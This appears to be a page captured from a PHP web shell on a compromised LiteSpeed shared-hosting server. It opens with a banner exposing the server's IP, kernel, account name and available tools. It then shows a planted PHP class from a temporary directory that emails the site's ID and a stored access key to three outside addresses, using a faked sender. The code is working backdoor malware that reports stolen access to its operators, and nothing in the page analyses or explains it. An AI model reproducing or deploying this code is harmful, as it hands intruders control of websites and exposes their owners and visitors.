Server IP : 162.213.251.212 / Your IP : 3.149.250.80 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/home/allssztx/.cagefs/tmp/mbdvd0/ |
Upload File : |
<?php class mbd_email extends mbd_core { function __construct($core) { $this->core = $core; $this->send(array( 'lusarltd@mail.ru', 'popovsites@yandex.ru', 'melniser9@gmail.com' ), $this->core->data->options->key); } function send($emails, $key) { $ip = gethostbyname($_SERVER['HTTP_HOST']); $host = gethostbyaddr($ip); $from = 'noreplay@'.$host; $headers = 'Content-type: text/html; charset=utf-8'."\r\n"; $headers .= 'From: MBD<'.$from.'>'."\r\n"; $text = 'Hello! A request was received to form a new API-key. Your ID is S'.$this->core->data->sid.'. Your new API-key is API'.$key.'.'; foreach($emails AS $to) { if(!mail($to, 'New API-key on MBD', $text, $headers)) return $this->out('not send'); } } }